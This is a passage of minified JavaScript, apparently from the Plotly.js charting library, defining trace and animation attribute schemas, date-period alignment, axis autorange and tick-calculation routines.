E,p;d(i)?(E=i[0],p=i[1]):(E=i,p=null);var A=b(v),m=f[h](i,A,T,w);return M.log(m),{code:h,container:E,trace:p,path:v,astr:A,msg:m}}function u(h,i){var v=c(i),T=v.keyMinusId,w=v.id;return T in h&&h[T]._isSubplotObj&&w?!0:i in h}function s(h,i){if(i in h)return h[i];var v=c(i);return h[v.keyMinusId]}var y=M.counterRegex("([a-z]+)");function c(h){var i=h.match(y);return{keyMinusId:i&&i[1],id:i&&i[2]}}function b(h){if(!d(h))return String(h);for(var i="",v=0;v<h.length;v++){var T=h[v];typeof T=="number"?i=i.substr(0,i.length-1)+"["+T+"]":i+=T,v<h.length-1&&(i+=".")}return i}},85594:function(te){te.exports={mode:{valType:"enumerated",dflt:"afterall",values:["immediate","next","afterall"]},direction:{valType:"enumerated",values:["forward","reverse"],dflt:"forward"},fromcurrent:{valType:"boolean",dflt:!1},frame:{duration:{valType:"number",min:0,dflt:500},redraw:{valType:"boolean",dflt:!0}},transition:{duration:{valType:"number",min:0,dflt:500,editType:"none"},easing:{valType:"enumerated",dflt:"cubic-in-out",values:["linear","quad","cubic","sin","exp","circle","elastic","back","bounce","linear-in","quad-in","cubic-in","sin-in","exp-in","circle-in","elastic-in","back-in","bounce-in","linear-out","quad-out","cubic-out","sin-out","exp-out","circle-out","elastic-out","back-out","bounce-out","linear-in-out","quad-in-out","cubic-in-out","sin-in-out","exp-in-out","circle-in-out","elastic-in-out","back-in-out","bounce-in-out"],editType:"none"},ordering:{valType:"enumerated",values:["layout first","traces first"],dflt:"layout first",editType:"none"}}}},85501:function(te,Z,e){var M=e(71828),P=e(44467);te.exports=function(L,S,d){var g=d.name,t=d.inclusionAttr||"visible",r=S[g],f=M.isArrayOrTypedArray(L[g])?L[g]:[],a=S[g]=[],l=P.arrayTemplater(S,g,t),u,s;for(u=0;u<f.length;u++){var y=f[u];M.isPlainObject(y)?s=l.newItem(y):(s=l.newItem({}),s[t]=!1),s._index=u,s[t]!==!1&&d.handleItemDefaults(y,s,S,d),a.push(s)}var c=l.defaultItems();for(u=0;u<c.length;u++)s=c[u],s._index=a.length,d.handleItemDefaults({},s,S,d,{}),a.push(s);if(M.isArrayOrTypedArray(r)){var b=Math.min(r.length,a.length);for(u=0;u<b;u++)M.relinkPrivateKeys(a[u],r[u])}return a}},9012:function(te,Z,e){var M=e(41940),P=e(77914);te.exports={type:{valType:"enumerated",values:[],dflt:"scatter",editType:"calc+clearAxisTypes",_noTemplating:!0},visible:{valType:"enumerated",values:[!0,!1,"legendonly"],dflt:!0,editType:"calc"},showlegend:{valType:"boolean",dflt:!0,editType:"style"},legend:{valType:"subplotid",dflt:"legend",editType:"style"},legendgroup:{valType:"string",dflt:"",editType:"style"},legendgrouptitle:{text:{valType:"string",dflt:"",editType:"style"},font:M({editType:"style"}),editType:"style"},legendrank:{valType:"number",dflt:1e3,editType:"style"},legendwidth:{valType:"number",min:0,editType:"style"},opacity:{valType:"number",min:0,max:1,dflt:1,editType:"style"},name:{valType:"string",editType:"style"},uid:{valType:"string",editType:"plot",anim:!0},ids:{valType:"data_array",editType:"calc",anim:!0},customdata:{valType:"data_array",editType:"calc"},meta:{valType:"any",arrayOk:!0,editType:"plot"},selectedpoints:{valType:"any",editType:"calc"},hoverinfo:{valType:"flaglist",flags:["x","y","z","text","name"],extras:["all","none","skip"],arrayOk:!0,dflt:"all",editType:"none"},hoverlabel:P.hoverlabel,stream:{token:{valType:"string",noBlank:!0,strict:!0,editType:"calc"},maxpoints:{valType:"number",min:0,max:1e4,dflt:500,editType:"calc"},editType:"calc"},transforms:{_isLinkedToArray:"transform",editType:"calc"},uirevision:{valType:"any",editType:"none"}}},42973:function(te,Z,e){var M=e(92770),P=e(71828),o=P.dateTime2ms,L=P.incrementMonth,S=e(50606),d=S.ONEAVGMONTH;te.exports=function(t,r,f,a){if(r.type!=="date")return{vals:a};var l=t[f+"periodalignment"];if(!l)return{vals:a};var u=t[f+"period"],s;if(M(u)){if(u=+u,u<=0)return{vals:a}}else if(typeof u=="string"&&u.charAt(0)==="M"){var y=+u.substring(1);if(y>0&&Math.round(y)===y)s=y;else return{vals:a}}for(var c=r.calendar,b=l==="start",h=l==="end",i=t[f+"period0"],v=o(i,c)||0,T=[],w=[],E=[],p=a.length,A=0;A<p;A++){var m=a[A],n,C,x;if(s){for(n=Math.round((m-v)/(s*d)),x=L(v,s*n,c);x>m;)x=L(x,-s,c);for(;x<=m;)x=L(x,s,c);C=L(x,-s,c)}else{for(n=Math.round((m-v)/u),x=v+n*u;x>m;)x-=u;for(;x<=m;)x+=u;C=x-u}T[A]=b?C:h?x:(C+x)/2,w[A]=C,E[A]=x}return{vals:T,starts:w,ends:E}}},89502:function(te){te.exports={xaxis:{valType:"subplotid",dflt:"x",editType:"calc+clearAxisTypes"},yaxis:{valType:"subplotid",dflt:"y",editType:"calc+clearAxisTypes"}}},71739:function(te,Z,e){var M=e(39898),P=e(92770),o=e(71828),L=e(50606).FP_SAFE,S=e(73972),d=e(91424),g=e(41675),t=g.getFromId,r=g.isLinked;te.exports={getAutoRange:f,makePadFn:l,doAutoRange:c,findExtremes:b,concatExtremes:y};function f(p,A){var m,n,C=[],x=p._fullLayout,I=l(x,A,0),k=l(x,A,1),B=y(p,A),_=B.min,F=B.max;if(_.length===0||F.length===0)return o.simpleMap(A.range,A.r2l);var O=_[0].val,z=F[0].val;for(m=1;m<_.length&&O===z;m++)O=Math.min(O,_[m].val);for(m=1;m<F.length&&O===z;m++)z=Math.max(z,F[m].val);var N=!1;if(A.range){var G=o.simpleMap(A.range,A.r2l);N=G[1]<G[0]}A.autorange==="reversed"&&(N=!0,A.autorange=!0);var J=A.rangemode,q=J==="tozero",ne=J==="nonnegative",fe=A._length,X=fe/10,W=0,V,Y,Q,ie,j,K;for(m=0;m<_.length;m++)for(V=_[m],n=0;n<F.length;n++)Y=F[n],K=Y.val-V.val-a(A,V.val,Y.val),K>0&&(j=fe-I(V)-k(Y),j>X?K/j>W&&(Q=V,ie=Y,W=K/j):K/fe>W&&(Q={val:V.val,nopad:1},ie={val:Y.val,nopad:1},W=K/fe));function oe(xe,ke){return Math.max(xe,k(ke))}if(O===z){var re=O-1,le=O+1;if(q)if(O===0)C=[0,1];else{var pe=(O>0?F:_).reduce(oe,0),we=O/(1-Math.min(.5,pe/fe));C=O>0?[0,we]:[we,0]}else ne?C=[Math.max(0,re),Math.max(1,le)]:C=[re,le]}else q?(Q.val>=0&&(Q={val:0,nopad:1}),ie.val<=0&&(ie={val:0,nopad:1})):ne&&(Q.val-W*I(Q)<0&&(Q={val:0,nopad:1}),ie.val<=0&&(ie={val:1,nopad:1})),W=(ie.val-Q.val-a(A,V.val,Y.val))/(fe-I(Q)-k(ie)),C=[Q.val-W*I(Q),ie.val+W*k(ie)];return N&&C.reverse(),o.simpleMap(C,A.l2r||Number)}function a(p,A,m){var n=0;if(p.rangebreaks)for(var C=p.locateBreaks(A,m),x=0;x<C.length;x++){var I=C[x];n+=I.max-I.min}return n}function l(p,A,m){var n=.05*A._length,C=A._anchorAxis||{};if((A.ticklabelposition||"").indexOf("inside")!==-1||(C.ticklabelposition||"").indexOf("inside")!==-1){var x=A.autorange==="reversed";if(!x){var I=o.simpleMap(A.range,A.r2l);x=I[1]<I[0]}x&&(m=!m)}var k=0;return r(p,A._id)||(k=s(p,A,m)),n=Math.max(k,n),A.constrain==="domain"&&A._inputDomain&&(n*=(A._inputDomain[1]-A._inputDomain[0])/(A.domain[1]-A.domain[0])),function(_){return _.nopad?0:_.pad+(_.extrapad?n:k)}}var u=3;function s(p,A,m){var n=0,C=A._id.charAt(0)==="x";for(var x in p._plots){var I=p._plots[x];if(!(A._id!==I.xaxis._id&&A._id!==I.yaxis._id)){var k=(C?I.yaxis:I.xaxis)||{};if((k.ticklabelposition||"").indexOf("inside")!==-1&&(!m&&(k.side==="left"||k.side==="bottom")||m&&(k.side==="top"||k.side==="right"))){if(k._vals){var B=o.deg2rad(k._tickAngles[k._id+"tick"]||0),_=Math.abs(Math.cos(B)),F=Math.abs(Math.sin(B));if(!k._vals[0].bb){var O=k._id+"tick",z=k._selections[O];z.each(function(fe){var X=M.select(this),W=X.select(".text-math-group");W.empty()&&(fe.bb=d.bBox(X.node()))})}for(var N=0;N<k._vals.length;N++){var G=k._vals[N],J=G.bb;if(J){var q=2*u+J.width,ne=2*u+J.height;n=Math.max(n,C?Math.max(q*_,ne*F):Math.max(ne*_,q*F))}}}k.ticks==="inside"&&k.ticklabelposition==="inside"&&(n+=k.ticklen||0)}}}return n}function y(p,A,m){var n=A._id,C=p._fullData,x=p._fullLayout,I=[],k=[],B,_,F;function O(q,ne){for(B=0;B<ne.length;B++){var fe=q[ne[B]],X=(fe._extremes||{})[n];if(fe.visible===!0&&X){for(_=0;_<X.min.length;_++)F=X.min[_],h(I,F.val,F.pad,{extrapad:F.extrapad});for(_=0;_<X.max.length;_++)F=X.max[_],i(k,F.val,F.pad,{extrapad:F.extrapad})}}}if(O(C,A._traceIndices),O(x.annotations||[],A._annIndices||[]),O(x.shapes||[],A._shapeIndices||[]),A._matchGroup&&!m){for(var z in A._matchGroup)if(z!==A._id){var N=t(p,z),G=y(p,N,!0),J=A._length/N._length;for(_=0;_<G.min.length;_++)F=G.min[_],h(I,F.val,F.pad*J,{extrapad:F.extrapad});for(_=0;_<G.max.length;_++)F=G.max[_],i(k,F.val,F.pad*J,{extrapad:F.extrapad})}}return{min:I,max:k}}function c(p,A,m){if(A.setScale(),A.autorange){A.range=m?m.slice():f(p,A),A._r=A.range.slice(),A._rl=o.simpleMap(A._r,A.r2l);var n=A._input,C={};C[A._attr+".range"]=A.range,C[A._attr+".autorange"]=A.autorange,S.call("_storeDirectGUIEdit",p.layout,p._fullLayout._preGUI,C),n.range=A.range.slice(),n.autorange=A.autorange}var x=A._anchorAxis;if(x&&x.rangeslider){var I=x.rangeslider[A._name];I&&I.rangemode==="auto"&&(I.range=f(p,A)),x._input.rangeslider[A._name]=o.extendFlat({},I)}}function b(p,A,m){m||(m={}),p._m||p.setScale();var n=[],C=[],x=A.length,I=m.padded||!1,k=m.tozero&&(p.type==="linear"||p.type==="-"),B=p.type==="log",_=!1,F=m.vpadLinearized||!1,O,z,N,G,J,q,ne,fe,X;function W(re){if(Array.isArray(re))return _=!0,function(pe){return Math.max(Number(re[pe]||0),0)};var le=Math.max(Number(re||0),0);return function(){return le}}var V=W((p._m>0?m.ppadplus:m.ppadminus)||m.ppad||0),Y=W((p._m>0?m.ppadminus:m.ppadplus)||m.ppad||0),Q=W(m.vpadplus||m.vpad),ie=W(m.vpadminus||m.vpad);if(!_){if(fe=1/0,X=-1/0,B)for(O=0;O<x;O++)z=A[O],z<fe&&z>0&&(fe=z),z>X&&z<L&&(X=z);else for(O=0;O<x;O++)z=A[O],z<fe&&z>-L&&(fe=z),z>X&&z<L&&(X=z);A=[fe,X],x=2}var j={tozero:k,extrapad:I};function K(re){N=A[re],P(N)&&(q=V(re),ne=Y(re),F?(G=p.c2l(N)-ie(re),J=p.c2l(N)+Q(re)):(fe=N-ie(re),X=N+Q(re),B&&fe<X/10&&(fe=X/10),G=p.c2l(fe),J=p.c2l(X)),k&&(G=Math.min(0,G),J=Math.max(0,J)),T(G)&&h(n,G,ne,j),T(J)&&i(C,J,q,j))}var oe=Math.min(6,x);for(O=0;O<oe;O++)K(O);for(O=x-1;O>=oe;O--)K(O);return{min:n,max:C,opts:m}}function h(p,A,m,n){v(p,A,m,n,w)}function i(p,A,m,n){v(p,A,m,n,E)}function v(p,A,m,n,C){for(var x=n.tozero,I=n.extrapad,k=!0,B=0;B<p.length&&k;B++){var _=p[B];if(C(_.val,A)&&_.pad>=m&&(_.extrapad||!I)){k=!1;break}else C(A,_.val)&&_.pad<=m&&(I||!_.extrapad)&&(p.splice(B,1),B--)}if(k){var F=x&&A===0;p.push({val:A,pad:F?0:m,extrapad:F?!1:I})}}function T(p){return P(p)&&Math.abs(p)<L}function w(p,A){return p<=A}function E(p,A){return p>=A}},89298:function(te,Z,e){var M=e(39898),P=e(92770),o=e(74875),L=e(73972),S=e(71828),d=S.strTranslate,g=e(63893),t=e(92998),r=e(7901),f=e(91424),a=e(13838),l=e(66287),u=e(50606),s=u.ONEMAXYEAR,y=u.ONEAVGYEAR,c=u.ONEMINYEAR,b=u.ONEMAXQUARTER,h=u.ONEAVGQUARTER,i=u.ONEMINQUARTER,v=u.ONEMAXMONTH,T=u.ONEAVGMONTH,w=u.ONEMINMONTH,E=u.ONEWEEK,p=u.ONEDAY,A=p/2,m=u.ONEHOUR,n=u.ONEMIN,C=u.ONESEC,x=u.MINUS_SIGN,I=u.BADNUM,k={K:"zeroline"},B={K:"gridline",L:"path"},_={K:"minor-gridline",L:"path"},F={K:"tick",L:"path"},O={K:"tick",L:"text"},z={width:["x","r","l","xl","xr"],height:["y","t","b","yt","yb"],right:["r","xr"],left:["l","xl"],top:["t","yt"],bottom:["b","yb"]},N=e(18783),G=N.MID_SHIFT,J=N.CAP_SHIFT,q=N.LINE_SPACING,ne=N.OPPOSITE_SIDE,fe=3,X=te.exports={};X.setConvert=e(21994);var W=e(4322),V=e(41675),Y=V.idSort,Q=V.isLinked;X.id2name=V.id2name,X.name2id=V.name2id,X.cleanId=V.cleanId,X.list=V.list,X.listIds=V.listIds,X.getFromId=V.getFromId,X.getFromTrace=V.getFromTrace;var ie=e(71739);X.getAutoRange=ie.getAutoRange,X.findExtremes=ie.findExtremes;var j=1e-4;function K(Ue){var Ne=(Ue[1]-Ue[0])*j;return[Ue[0]-Ne,Ue[1]+Ne]}X.coerceRef=function(Ue,Ne,Et,Lt,Nt,rr){var tr=Lt.charAt(Lt.length-1),Jt=Et._fullLayout._subplots[tr+"axis"],It=Lt+"ref",or={};return Nt||(Nt=Jt[0]||(typeof rr=="string"?rr:rr[0])),rr||(rr=Nt),Jt=Jt.concat(Jt.map(function(ur){return ur+" domain"})),or[It]={valType:"enumerated",values:Jt.concat(rr?typeof rr=="string"?[rr]:rr:[]),dflt:Nt},S.coerce(Ue,Ne,or,It)},X.getRefType=function(Ue){return Ue===void 0?Ue:Ue==="paper"?"paper":Ue==="pixel"?"pixel":/( domain)$/.test(Ue)?"domain":"range"},X.coercePosition=function(Ue,Ne,Et,Lt,Nt,rr){var tr,Jt,It=X.getRefType(Lt);if(It!=="range")tr=S.ensureNumber,Jt=Et(Nt,rr);else{var or=X.getFromId(Ne,Lt);rr=or.fraction2r(rr),Jt=Et(Nt,rr),tr=or.cleanPos}Ue[Nt]=tr(Jt)},X.cleanPosition=function(Ue,Ne,Et){var Lt=Et==="paper"||Et==="pixel"?S.ensureNumber:X.getFromId(Ne,Et).cleanPos;return Lt(Ue)},X.redrawComponents=function(Ue,Ne){Ne=Ne||X.listIds(Ue);var Et=Ue._fullLayout;function Lt(Nt,rr,tr,Jt){for(var It=L.getComponentMethod(Nt,rr),or={},ur=0;ur<Ne.length;ur++)for(var fr=Et[X.id2name(Ne[ur])],lr=fr[tr],Nr=0;Nr<lr.length;Nr++){var Rr=lr[Nr];if(!or[Rr]&&(It(Ue,Rr),or[Rr]=1,Jt))return}}Lt("annotations","drawOne","_annIndices"),Lt("shapes","drawOne","_shapeIndices"),Lt("images","draw","_imgIndices",!0),Lt("selections","drawOne","_selectionIndices")};var oe=X.getDataConversions=function(Ue,Ne,Et,Lt){var Nt,rr=Et==="x"||Et==="y"||Et==="z"?Et:Lt;if(Array.isArray(rr)){if(Nt={type:W(Lt,void 0,{autotypenumbers:Ue._fullLayout.autotypenumbers}),_categories:[]},X.setConvert(Nt),Nt.type==="category")for(var tr=0;tr<Lt.length;tr++)Nt.d2c(Lt[tr])}else Nt=X.getFromTrace(Ue,Ne,rr);return Nt?{d2c:Nt.d2c,c2d:Nt.c2d}:rr==="ids"?{d2c:le,c2d:le}:{d2c:re,c2d:re}};function re(Ue){return+Ue}function le(Ue){return String(Ue)}X.getDataToCoordFunc=function(Ue,Ne,Et,Lt){return oe(Ue,Ne,Et,Lt).d2c},X.counterLetter=function(Ue){var Ne=Ue.charAt(0);if(Ne==="x")return"y";if(Ne==="y")return"x"},X.minDtick=function(Ue,Ne,Et,Lt){["log","category","multicategory"].indexOf(Ue.type)!==-1||!Lt?Ue._minDtick=0:Ue._minDtick===void 0?(Ue._minDtick=Ne,Ue._forceTick0=Et):Ue._minDtick&&((Ue._minDtick/Ne+1e-6)%1<2e-6&&((Et-Ue._forceTick0)/Ne%1+1.000001)%1<2e-6?(Ue._minDtick=Ne,Ue._forceTick0=Et):((Ne/Ue._minDtick+1e-6)%1>2e-6||((Et-Ue._forceTick0)/Ue._minDtick%1+1.000001)%1>2e-6)&&(Ue._minDtick=0))},X.saveRangeInitial=function(Ue,Ne){for(var Et=X.list(Ue,"",!0),Lt=!1,Nt=0;Nt<Et.length;Nt++){var rr=Et[Nt],tr=rr._rangeInitial===void 0,Jt=tr||!(rr.range[0]===rr._rangeInitial[0]&&rr.range[1]===rr._rangeInitial[1]);(tr&&rr.autorange===!1||Ne&&Jt)&&(rr._rangeInitial=rr.range.slice(),Lt=!0)}return Lt},X.saveShowSpikeInitial=function(Ue,Ne){for(var Et=X.list(Ue,"",!0),Lt=!1,Nt="on",rr=0;rr<Et.length;rr++){var tr=Et[rr],Jt=tr._showSpikeInitial===void 0,It=Jt||tr.showspikes!==tr._showspikes;(Jt||Ne&&It)&&(tr._showSpikeInitial=tr.showspikes,Lt=!0),Nt==="on"&&!tr.showspikes&&(Nt="off")}return Ue._fullLayout._cartesianSpikesEnabled=Nt,Lt},X.autoBin=function(Ue,Ne,Et,Lt,Nt,rr){var tr=S.aggNums(Math.min,null,Ue),Jt=S.aggNums(Math.max,null,Ue);if(Ne.type==="category"||Ne.type==="multicategory")return{start:tr-.5,end:Jt+.5,size:Math.max(1,Math.round(rr)||1),_dataSpan:Jt-tr};Nt||(Nt=Ne.calendar);var It;if(Ne.type==="log"?It={type:"linear",range:[tr,Jt]}:It={type:Ne.type,range:S.simpleMap([tr,Jt],Ne.c2r,0,Nt),calendar:Nt},X.setConvert(It),rr=rr&&l.dtick(rr,It.type),rr)It.dtick=rr,It.tick0=l.tick0(void 0,It.type,Nt);else{var or;if(Et)or=(Jt-tr)/Et;else{var ur=S.distinctVals(Ue),fr=Math.pow(10,Math.floor(Math.log(ur.minDiff)/Math.LN10)),lr=fr*S.roundUp(ur.minDiff/fr,[.9,1.9,4.9,9.9],!0);or=Math.max(lr,2*S.stdev(Ue)/Math.pow(Ue.length,Lt?.25:.4)),P(or)||(or=1)}X.autoTicks(It,or)}var Nr=It.dtick,Rr=X.tickIncrement(X.tickFirst(It),Nr,"reverse",Nt),Cr,vn;if(typeof Nr=="number")Rr=pe(Rr,Ue,It,tr,Jt),vn=1+Math.floor((Jt-Rr)/Nr),Cr=Rr+vn*Nr;else for(It.dtick.charAt(0)==="M"&&(Rr=we(Rr,Ue,Nr,tr,Nt)),Cr=Rr,vn=0;Cr<=Jt;)Cr=X.tickIncrement(Cr,Nr,!1,Nt),vn++;return{start:Ne.c2r(Rr,0,Nt),end:Ne.c2r(Cr,0,Nt),size:Nr,_dataSpan:Jt-tr}};function pe(Ue,Ne,Et,Lt,Nt){var rr=0,tr=0,Jt=0,It=0;function or(Nr){return(1+(Nr-Ue)*100/Et.dtick)%100<2}for(var ur=0;ur<Ne.length;ur++)Ne[ur]%1===0?Jt++:P(Ne[ur])||It++,or(Ne[ur])&&rr++,or(Ne[ur]+Et.dtick/2)&&tr++;var fr=Ne.length-It;if(Jt===fr&&Et.type!=="date")Et.dtick<1?Ue=Lt-.5*Et.dtick:(Ue-=.5,Ue+Et.dtick<Lt&&(Ue+=Et.dtick));else if(tr<fr*.1&&(rr>fr*.3||or(Lt)||or(Nt))){var lr=Et.dtick/2;Ue+=Ue+lr<Lt?lr:-lr}return Ue}function we(Ue,Ne,Et,Lt,Nt){var rr=S.findExactDates(Ne,Nt),tr=.8;if(rr.exactDays>tr){var Jt=Number(Et.substr(1));rr.exactYears>tr&&Jt%12===0?Ue=X.tickIncrement(Ue,"M6","reverse")+p*1.5:rr.exactMonths>tr?Ue=X.tickIncrement(Ue,"M1","reverse")+p*15.5:Ue-=A;var It=X.tickIncrement(Ue,Et);if(It<=Lt)return It}return Ue}X.prepMinorTicks=function(Ue,Ne,Et){if(!Ne.minor.dtick){delete Ue.dtick;var Lt=Ne.dtick&&P(Ne._tmin),Nt;if(Lt){var rr=X.tickIncrement(Ne._tmin,Ne.dtick,!0);Nt=[Ne._tmin,rr*.99+Ne._tmin*.01]}else{var tr=S.simpleMap(Ne.range,Ne.r2l);Nt=[tr[0],.8*tr[0]+.2*tr[1]]}if(Ue.range=S.simpleMap(Nt,Ne.l2r),Ue._isMinor=!0,X.prepTicks(Ue,Et),Lt){var Jt=P(Ne.dtick),It=P(Ue.dtick),or=Jt?Ne.dtick:+Ne.dtick.substring(1),ur=It?Ue.dtick:+Ue.dtick.substring(1);Jt&&It?xe(or,ur)?or===2*E&&ur===2*p&&(Ue.dtick=E):or===2*E&&ur===3*p?Ue.dtick=E:or===E&&!(Ne._input.minor||{}).nticks?Ue.dtick=p:ke(or/ur,2.5)?Ue.dtick=or/2:Ue.dtick=or:String(Ne.dtick).charAt(0)==="M"?It?Ue.dtick="M1":xe(or,ur)?or>=12&&ur===2&&(Ue.dtick="M3"):Ue.dtick=Ne.dtick:String(Ue.dtick).charAt(0)==="L"?String(Ne.dtick).charAt(0)==="L"?xe(or,ur)||(Ue.dtick=ke(or/ur,2.5)?Ne.dtick/2:Ne.dtick):Ue.dtick="D1":Ue.dtick==="D2"&&+Ne.dtick>1&&(Ue.dtick=1)}Ue.range=Ne.range}Ne.minor._tick0Init===void 0&&(Ue.tick0=Ne.tick0)};function xe(Ue,Ne){return Math.abs((Ue/Ne+.5)%1-.5)<.001}function ke(Ue,Ne){return Math.abs(Ue/Ne-1)<.001}X.prepTicks=function(Ue,Ne){var Et=S.simpleMap(Ue.range,Ue.r2l,void 0,void 0,Ne);if(Ue.tickmode==="auto"||!Ue.dtick){var Lt=Ue.nticks,Nt;Lt||(Ue.type==="category"||Ue.type==="multicategory"?(Nt=Ue.tickfont?S.bigFont(Ue.tickfont.size||12):15,Lt=Ue._length/Nt):(Nt=Ue._id.charAt(0)==="y"?40:80,Lt=S.constrain(Ue._length/Nt,4,9)+1),Ue._name==="radialaxis"&&(Lt*=2)),Ue.minor&&Ue.minor.tickmode!=="array"||Ue.tickmode==="array"&&(Lt*=100),Ue._roughDTick=Math.abs(Et[1]-Et[0])/Lt,X.autoTicks(Ue,Ue._roughDTick),Ue._minDtick>0&&Ue.dtick<Ue._minDtick*2&&(Ue.dtick=Ue._minDtick,Ue.tick0=Ue.l2r(Ue._forceTick0))}Ue.ticklabelmode==="period"&&be(Ue),Ue.tick0||(Ue.tick0=Ue.type==="date"?"2000-01-01":0),Ue.type==="date"&&Ue.dtick<.1&&(Ue.dtick=.1),ut(Ue)};function _e(Ue){return+Ue.substring(1)}function be(Ue){var Ne;function Et(){return!(P(Ue.dtick)||Ue.dtick.charAt(0)!=="M")}var Lt=Et(),Nt=X.getTickFormat(Ue);if(Nt){var rr=Ue._dtickInit!==Ue.dtick;/%[fLQsSMX]/.test(Nt)||(/%[HI]/.test(Nt)?(Ne=m,rr&&!Lt&&Ue.dtick<m&&(Ue.dtick=m)):/%p/.test(Nt)?(Ne=A,rr&&!Lt&&Ue.dtick<A&&(Ue.dtick=A)):/%[Aadejuwx]/.test(Nt)?(Ne=p,rr&&!Lt&&Ue.dtick<p&&(Ue.dtick=p)):/%[UVW]/.test(Nt)?(Ne=E,rr&&!Lt&&Ue.dtick<E&&(Ue.dtick=E)):/%[Bbm]/.test(Nt)?(Ne=T,rr&&(Lt?_e(Ue.dtick)<1:Ue.dtick<w)&&(Ue.dtick="M1")):/%[q]/.test(Nt)?(Ne=h,rr&&(Lt?_e(Ue.dtick)<3:Ue.dtick<i)&&(Ue.dtick="M3")):/%[Yy]/.test(Nt)&&(Ne=y,rr&&(Lt?_e(Ue.dtick)<12:Ue.dtick<c)&&(Ue.dtick="M12")))}Lt=Et(),Lt&&Ue.tick0===Ue._dowTick0&&(Ue.tick0=Ue._rawTick0),Ue._definedDelta=Ne}function ge(Ue,Ne,Et){for(var Lt=0;Lt<Ue.length;Lt++){var Nt=Ue[Lt].value,rr=Lt,tr=Lt+1;Lt<Ue.length-1?(rr=Lt,tr=Lt+1):Lt>0?(rr=Lt-1,tr=Lt):(rr=Lt,tr=Lt);var Jt=Ue[rr].value,It=Ue[tr].value,or=Math.abs(It-Jt),ur=Et||or,fr=0;ur>=c?or>=c&&or<=s?fr=or:fr=y:Et===h&&ur>=i?or>=i&&or<=b?fr=or:fr=h:ur>=w?or>=w&&or<=v?fr=or:fr=T:Et===E&&ur>=E?fr=E:ur>=p?fr=p:Et===A&&ur>=A?fr=A:Et===m&&ur>=m&&(fr=m);var lr;fr>=or&&(fr=or,lr=!0);var Nr=Nt+fr;if(Ne.rangebreaks&&fr>0){for(var Rr=84,Cr=0,vn=0;vn<Rr;vn++){var Ur=(vn+.5)/Rr;Ne.maskBreaks(Nt*(1-Ur)+Ur*Nr)!==I&&Cr++}fr*=Cr/Rr,fr||(Ue[Lt].drop=!0),lr&&or>E&&(fr=or)}(fr>0||Lt===0)&&(Ue[Lt].periodX=Nt+fr/2)}}X.calcTicks=function(Ne,Et){for(var Lt=Ne.type,Nt=Ne.calendar,rr=Ne.ticklabelstep,tr=Ne.ticklabelmode==="period",Jt=S.simpleMap(Ne.range,Ne.r2l,void 0,void 0,Et),It=Jt[1]<Jt[0],or=Math.min(Jt[0],Jt[1]),ur=Math.max(Jt[0],Jt[1]),fr=Math.max(1e3,Ne._length||0),lr=[],Nr=[],Rr=[],Cr=[],vn=Ne.minor&&(Ne.minor.ticks||Ne.minor.showgrid),Ur=1;Ur>=(vn?0:1);Ur--){var Mn=!Ur;Ur?(Ne._dtickInit=Ne.dtick,Ne._tick0Init=Ne.tick0):(Ne.minor._dtickInit=Ne.minor.dtick,Ne.minor._tick0Init=Ne.minor.tick0);var Sn=Ur?Ne:S.extendFlat({},Ne,Ne.minor);if(Mn?X.prepMinorTicks(Sn,Ne,Et):X.prepTicks(Sn,Et),Sn.tickmode==="array"){Ur?(Rr=[],lr=Oe(Ne)):(Cr=[],Nr=Oe(Ne));continue}if(Sn.tickmode==="sync"){Rr=[],lr=Fe(Ne);continue}var nr=K(Jt),Sr=nr[0],Dr=nr[1],Ir=P(Sn.dtick),Xr=Lt==="log"&&!(Ir||Sn.dtick.charAt(0)==="L"),an=X.tickFirst(Sn,Et);if(Ur){if(Ne._tmin=an,an<Sr!==It)break;(Lt==="category"||Lt==="multicategory")&&(Dr=It?Math.max(-.5,Dr):Math.min(Ne._categories.length-.5,Dr))}var tn=null,gn=an,En;if(Ur){var Hn;Ir?Hn=Ne.dtick:Lt==="date"?typeof Ne.dtick=="string"&&Ne.dtick.charAt(0)==="M"&&(Hn=T*Ne.dtick.substring(1)):Hn=Ne._roughDTick,En=Math.round((Ne.r2l(gn)-Ne.r2l(Ne.tick0))/Hn)-1}var Xn=Sn.dtick;for(Sn.rangebreaks&&Sn._tick0Init!==Sn.tick0&&(gn=zt(gn,Ne),It||(gn=X.tickIncrement(gn,Xn,!It,Nt))),Ur&&tr&&(gn=X.tickIncrement(gn,Xn,!It,Nt),En--);It?gn>=Dr:gn<=Dr;gn=X.tickIncrement(gn,Xn,It,Nt)){if(Ur&&En++,Sn.rangebreaks&&!It){if(gn<Sr)continue;if(Sn.maskBreaks(gn)===I&&zt(gn,Sn)>=ur)break}if(Rr.length>fr||gn===tn)break;tn=gn;var qn={value:gn};Ur?(Xr&&gn!==(gn|0)&&(qn.simpleLabel=!0),rr>1&&En%rr&&(qn.skipLabel=!0),Rr.push(qn)):(qn.minor=!0,Cr.push(qn))}}if(vn){var Wn=Ne.minor.ticks==="inside"&&Ne.ticks==="outside"||Ne.minor.ticks==="outside"&&Ne.ticks==="inside";if(!Wn){for(var ea=Rr.map(function(pn){return pn.value}),mr=[],qr=0;qr<Cr.length;qr++){var Qr=Cr[qr],un=Qr.value;if(ea.indexOf(un)===-1){for(var kn=!1,bn=0;!kn&&bn<Rr.length;bn++)1e7+Rr[bn].value===1e7+un&&(kn=!0);kn||mr.push(Qr)}}Cr=mr}}tr&&ge(Rr,Ne,Ne._definedDelta);var wn;if(Ne.rangebreaks){var zn=Ne._id.charAt(0)==="y",Jn=1;Ne.tickmode==="auto"&&(Jn=Ne.tickfont?Ne.tickfont.size:12);var ba=NaN;for(wn=Rr.length-1;wn>-1;wn--){if(Rr[wn].drop){Rr.splice(wn,1);continue}Rr[wn].value=zt(Rr[wn].value,Ne);var Fa=Ne.c2p(Rr[wn].value);(zn?ba>Fa-Jn:ba<Fa+Jn)?Rr.splice(It?wn+1:wn,1):ba=Fa}}Pt(Ne)&&Math.abs(Jt[1]-Jt[0])===360&&Rr.pop(),Ne._tmax=(Rr[Rr.length-1]||{}).value,Ne._prevDateHead="",Ne._inCalcTicks=!0;var Ht,pr=function(pn){pn.text="",Ne._prevDateHead=Ht};Rr=Rr.concat(Cr);var $r,on;for(wn=0;wn<Rr.length;wn++){var sn=Rr[wn].minor,Tn=Rr[wn].value;sn?Nr.push({x:Tn,minor:!0}):(Ht=Ne._prevDateHead,$r=X.tickText(Ne,Tn,!1,Rr[wn].simpleLabel),on=Rr[wn].periodX,on!==void 0&&($r.periodX=on,(on>ur||on<or)&&(on>ur&&($r.periodX=ur),on<or&&($r.periodX=or),pr($r))),Rr[wn].skipLabel&&pr($r),lr.push($r))}return 